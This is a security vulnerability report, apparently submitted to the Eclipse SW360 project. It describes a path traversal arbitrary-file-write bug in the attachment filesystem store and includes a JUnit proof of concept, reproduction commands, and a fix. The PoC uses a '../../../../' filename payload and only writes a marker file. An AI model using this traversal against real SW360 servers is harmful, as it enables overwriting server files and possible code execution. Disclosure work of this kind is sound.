[Eclipse SW360] Path traversal in filesystem attachment store via unsanitized Attachment.filename (arbitrary file write)
Hi team, I have found a vulnerability in sw360 and wanted to bring it to your attention. Please note that AI was used in the reproduction of this report. I have independently verified the vulnerability and I think I could escalate it to a Remote Code Execution but fixing this would be the equivalent of fixing that as well. Thnak you.
### Summary
SW360's optional "store attachment to file system" feature writes uploaded attachment content to disk using a filename taken directly from `Attachment.filename` — client-controlled metadata, distinct from the already-sanitized `AttachmentContent.filename` field — with no path sanitization. A filename such as `../../../../<target>` escapes the per-user/document/attachment store directory the write is supposed to be confined to, producing an arbitrary file write with attacker-controlled content at any path the backend process can write to.
### Root cause
`backend/common/src/main/java/org/eclipse/sw360/datahandler/db/DatabaseHandlerUtil.java`, `prepareFileHandlerRunnable`, lines 979-1004:
```java
Path outputDir = Paths.get(SW360Utils.readConfig(ATTACHMENT_STORE_FILE_SYSTEM_LOCATION,
SW360Constants.DEFAULT_ATTACHMENT_LOCATION), userEmail, DOCUMENT_ID + documentId,
ATTACHMENT_ID + attachmentId);
Path outputFile = Paths.get(fileName); // attacker-controlled, not sanitized
Path outputFilePath = outputDir.resolve(outputFile); // ../ traversal resolved here
log.info("Preparing to store attachment in file system" + outputFilePath);
if (!Files.exists(outputFile)) { // note: checks the wrong (unresolved) path
...
Files.createDirectories(outputDir, fileAttribute);
Files.createFile(outputFilePath, fileAttribute); // arbitrary file create
try (OutputStream os = Files.newOutputStream(outputFilePath, StandardOpenOption.WRITE)) {
os.write(content.readAllBytes()); // arbitrary file write
}
}
```
`fileName` is `att.getFilename()` — the `Attachment` metadata field (`libraries/datahandler/src/main/thrift/attachments.thrift:57`, `5: required string filename`) — read from the incoming attachment set by `saveAttachmentInFileSystem` (same file, lines 1009-1037, uses `att.getFilename()` at line 1035) and passed unchanged into `prepareFileHandlerRunnable`. Callers: `ComponentDatabaseHandler.updateComponent` (line 760), `ComponentDatabaseHandler.updateRelease` (line 1207), `ProjectDatabaseHandler.updateProject` (line 467).
The field is client-controlled via `PATCH /components/{id}`, `PATCH /releases/{id}`, and `PATCH /projects/{id}` JSON bodies: `ComponentDTO.getAttachments()` is deserialized by Jackson (the `AttachmentMixin` in `JacksonCustomizations.java:1569-1606` ignores `setFilename`/`filenameIsSet` for output serialization but does **not** prevent the `filename` value from being set on deserialization), copied into the entity unchanged by `RestControllerHelper.convertToComponent` (line 855), and passed to the update handler. `ThriftValidate.validateAttachment` only validates `AttachmentContent`, never this metadata field.
The project's own sanitizer for exactly this class of bug, `CommonUtils.sanitizeFilename` (`libraries/datahandler/.../common/CommonUtils.java:258`, introduced by commit `aa0e3e2dc` / PR #3690, 2026-02, "fix(component): file path traversal vulnerability"), is applied at every _other_ attachment filename sink — `Sw360AttachmentService.uploadAttachment`, `addAttachment` (fixed separately by PR #3939 for issue #3938), `renameFile`, `downloadAttachmentBundleWithContext`, and `AttachmentStreamConnector.getAttachmentBundleStream` — but was never applied to this filesystem-store sink. A separate, unrelated traversal in `LicenseInfoExporter.downloadReport` was fixed by PR #4018. None of these three prior fixes touch `DatabaseHandlerUtil`.
`git blame` on lines 979-1004 shows the vulnerable `Paths.get(fileName)` / `.resolve()` / `Files.createFile()` sequence unchanged since commit `d80217339` (2021-04-16, PR #1174, "Store attachment to File System asynchronously" — the feature was originally built for antivirus scanning of uploads). Only a config-read change (`f133b896db`, 2024-08) and a log message spelling fix (`f6b5154d45`, 2026-04) have touched the surrounding block since; neither addresses sanitization.
As a secondary, related defect: the existence guard at line 987 checks `Files.exists(outputFile)` — the _unresolved_ relative path — instead of `Files.exists(outputFilePath)`, the actually-resolved target. This doesn't change the traversal's exploitability but should be fixed alongside it.
### Attacker model / reachability
- Entry point: `PATCH /components/{id}`, `PATCH /releases/{id}`, or `PATCH /projects/{id}` REST endpoints, in the attachment array of the request body.
- Privilege required: an authenticated account with ordinary write access to at least one component, release, or project — the standard permission needed to attach files at all. No further victim interaction is needed.
- Precondition: the operator must have enabled `enable.attachment.store.to.file.system` (config key `SW360ConfigKeys.IS_STORE_ATTACHMENT_TO_FILE_SYSTEM_ENABLED`, default **off**). This is a supported, documented configuration (originally added so an external antivirus scanner could inspect uploaded files on disk), not the out-of-the-box setup.
- Sequence: upload any file to create an `AttachmentContent`, then update an entity the attacker can write, setting that attachment's `filename` to `../../../../<target>`. The upload's content bytes get written to `<target>` on the backend host.
### PoC
JUnit test driving the real, unmodified `prepareFileHandlerRunnable` directly (invoked via reflection since it's `private`, and because the production code dispatches the write onto a shared executor thread where Mockito's thread-local static mocks don't apply — so the test invokes it synchronously while the mock is in scope, exercising the real, unmodified `Paths.get`/`resolve`/`Files.createFile`/`Files.newOutputStream` code):
```java
package org.eclipse.sw360.datahandler.db;
import org.eclipse.sw360.datahandler.common.SW360ConfigKeys;
import org.eclipse.sw360.datahandler.common.SW360Utils;
import org.junit.jupiter.api.Test;
import org.mockito.MockedStatic;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.UUID;
import static org.junit.jupiter.api.Assertions.assertArrayEquals;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.ArgumentMatchers.anyString;
import static org.mockito.ArgumentMatchers.eq;
import static org.mockito.Mockito.mockStatic;
public class FilesystemAttachmentStorePathTraversalTest {
private static final String CONTENT_ID = "content-0001";
private static final String USER_EMAIL = "attacker@example.com";
private static final String DOCUMENT_ID = "doc-0001";
private static final byte[] ATTACKER_BYTES = "SW360-PWNED-MARKER\n".getBytes();
private Runnable prepareFileHandlerRunnable(byte[] content, String userEmail, String documentId,
String attachmentId, String fileName) throws Exception {
Method m = DatabaseHandlerUtil.class.getDeclaredMethod("prepareFileHandlerRunnable",
InputStream.class, String.class, String.class, String.class, String.class);
m.setAccessible(true);
return (Runnable) m.invoke(null, new ByteArrayInputStream(content), userEmail, documentId, attachmentId,
fileName);
}
@Test
public void maliciousFilenameWritesOutsideStoreDirectory() throws Exception {
Path tmp = Paths.get(System.getProperty("java.io.tmpdir"));
String unique = UUID.randomUUID().toString().substring(0, 8);
Path storeDir = Files.createTempDirectory("sw360-store-" + unique);
String markerName = "sw360-PWNED-" + unique;
// storeDir/<email>/documentId_<doc>/attachmentId_<content> -> 4 x ".." -> tmp dir
String maliciousFilename = "../../../../" + markerName;
try (MockedStatic<SW360Utils> sw360Utils = mockStatic(SW360Utils.class)) {
sw360Utils.when(() -> SW360Utils.readConfig(eq(SW360ConfigKeys.ATTACHMENT_STORE_FILE_SYSTEM_LOCATION), anyString()))
.thenReturn(storeDir.toString());
Runnable write = prepareFileHandlerRunnable(ATTACKER_BYTES, USER_EMAIL, DOCUMENT_ID, CONTENT_ID,
maliciousFilename);
write.run();
}
Path marker = tmp.resolve(markerName);
assertTrue(Files.exists(marker), "expected the attachment bytes to be written outside the store dir at " + marker);
byte[] read = Files.readAllBytes(marker);
assertArrayEquals(ATTACKER_BYTES, read);
Path insideStoreDir = storeDir.resolve(markerName);
assertFalse(Files.exists(insideStoreDir), "marker must not be created inside the store directory");
}
@Test
public void benignFilenameStaysInsideStoreDirectory() throws Exception {
String unique = UUID.randomUUID().toString().substring(0, 8);
Path storeDir = Files.createTempDirectory("sw360-store-" + unique);
String benignName = "benign.txt";
try (MockedStatic<SW360Utils> sw360Utils = mockStatic(SW360Utils.class)) {
sw360Utils.when(() -> SW360Utils.readConfig(eq(SW360ConfigKeys.ATTACHMENT_STORE_FILE_SYSTEM_LOCATION), anyString()))
.thenReturn(storeDir.toString());
Runnable write = prepareFileHandlerRunnable(ATTACKER_BYTES, USER_EMAIL, DOCUMENT_ID, CONTENT_ID, benignName);
write.run();
}
Path expectedInside = storeDir.resolve(USER_EMAIL)
.resolve("documentId_" + DOCUMENT_ID)
.resolve("attachmentId_" + CONTENT_ID)
.resolve(benignName);
assertTrue(Files.exists(expectedInside), "expected the benign attachment to be written inside the store dir");
assertArrayEquals(ATTACKER_BYTES, Files.readAllBytes(expectedInside));
}
}
```
Build and run the real, unmodified module (Docker; pulls SW360's own pinned Thrift compiler image, nothing custom):
```sh
git clone https://github.com/eclipse-sw360/sw360.git
cd sw360 && git checkout a8a09976a35512d63767e2a7cb53821edf07ca9b && cd ..
mkdir -p sw360/backend/common/src/test/java/org/eclipse/sw360/datahandler/db
cp FilesystemAttachmentStorePathTraversalTest.java \
sw360/backend/common/src/test/java/org/eclipse/sw360/datahandler/db/
cat > Dockerfile.build <<'EOF'
FROM maven:3-eclipse-temurin-21-noble
COPY --from=ghcr.io/eclipse-sw360/thrift:0.20.0-noble /usr/local/bin/thrift /usr/bin/thrift
RUN /usr/bin/thrift --version
WORKDIR /build/sw360
EOF
mkdir -p m2
docker build --no-cache --platform linux/amd64 -f Dockerfile.build -t sw360-poc .
docker run --rm --platform linux/amd64 -v "$PWD/sw360:/build/sw360" -v "$PWD/m2:/root/.m2" \
-w /build/sw360 sw360-poc \
mvn -pl backend/common -am -DskipTests -Dbase.deploy.dir=/build -Dhelp-docs=false --no-transfer-progress install
docker run --rm --platform linux/amd64 -v "$PWD/sw360:/build/sw360" -v "$PWD/m2:/root/.m2" \
-w /build/sw360 sw360-poc \
mvn -pl backend/common -Dtest=FilesystemAttachmentStorePathTraversalTest \
-Dsurefire.failIfNoSpecifiedTests=false -Dbase.deploy.dir=/build -Dhelp-docs=false --no-transfer-progress test
```
Result:
```
INFO DatabaseHandlerUtil:987 - Preparing to store attachment in file system<storeDir>/attacker@example.com/documentId_doc-0001/attachmentId_content-0001/../../../../sw360-PWNED-<rand>
Tests run: 2, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS
```
The log line is the smoking gun: the real, unmodified `prepareFileHandlerRunnable` built that exact traversal path from the attacker-controlled filename. The test asserts the marker bytes (`SW360-PWNED-MARKER\n`) landed at the resolved path outside the four-level store directory with the exact attacker-supplied content, and that nothing was written at the intended in-store location instead. The benign control (`benign.txt`) stays correctly confined inside the store directory.
### Impact
- **A**ttacker-controlled bytes are written to an arbitrary path the backend process can write to.
### Version scope
Introduced in `d80217339` (2021-04-16, PR #1174). The vulnerable lines are present unchanged in every release since, verified directly in `sw360-16.0.0-M1` (old path `backend/src-common/...`), `sw360-19.2.0`, `sw360-20.0.0`, `sw360-20.1.0`, and current `main` (`a8a09976a3`). All three currently supported versions (19.0.0, 20.0.0, 20.1.0) are affected. No fix commit exists.
### Suggested fix
Apply `CommonUtils.sanitizeFilename(att.getFilename())` in `saveAttachmentInFileSystem` before it reaches `prepareFileHandlerRunnable` (or inside `prepareFileHandlerRunnable` itself), matching the pattern already used for the other four attachment-filename sinks fixed by PR #3690 and PR #3939. Additionally, correct the existence check at line 987 to test `Files.exists(outputFilePath)` rather than the unresolved `outputFile`.
Draft CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
**CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')**, leading to **CWE-73: External Control of File Name or Path**
issue